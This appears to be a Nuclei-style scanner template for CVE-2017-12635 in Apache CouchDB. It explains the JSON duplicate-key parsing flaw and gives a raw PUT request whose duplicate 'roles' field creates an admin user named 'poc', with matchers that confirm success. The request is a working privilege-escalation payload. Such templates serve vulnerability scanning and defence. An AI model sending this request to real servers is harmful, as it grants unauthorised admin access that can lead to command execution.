id: CVE-2017-12635

info:
  name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 Remote Privilege Escalation
  author: pikpikcu
  severity: high
  description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
  reference: https://github.com/assalielmehdi/CVE-2017-12635
  tags: cve,cve2017,couchdb

requests:
  - raw:
      - |
        PUT /_users/org.couchdb.user:poc HTTP/1.1
        Host:  {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: application/json
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Length: 108

        {
          "type": "user",
          "name": "poc",
          "roles": ["_admin"],
          "roles": [],
          "password": "123456"
        }

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
          - "Location:"
        part: header

      - type: word
        words:
          - "org.couchdb.user:poc"
          - "conflict"
          - "Document update conflict"
        part: body

      - type: status
        status:
          - 201
          - 409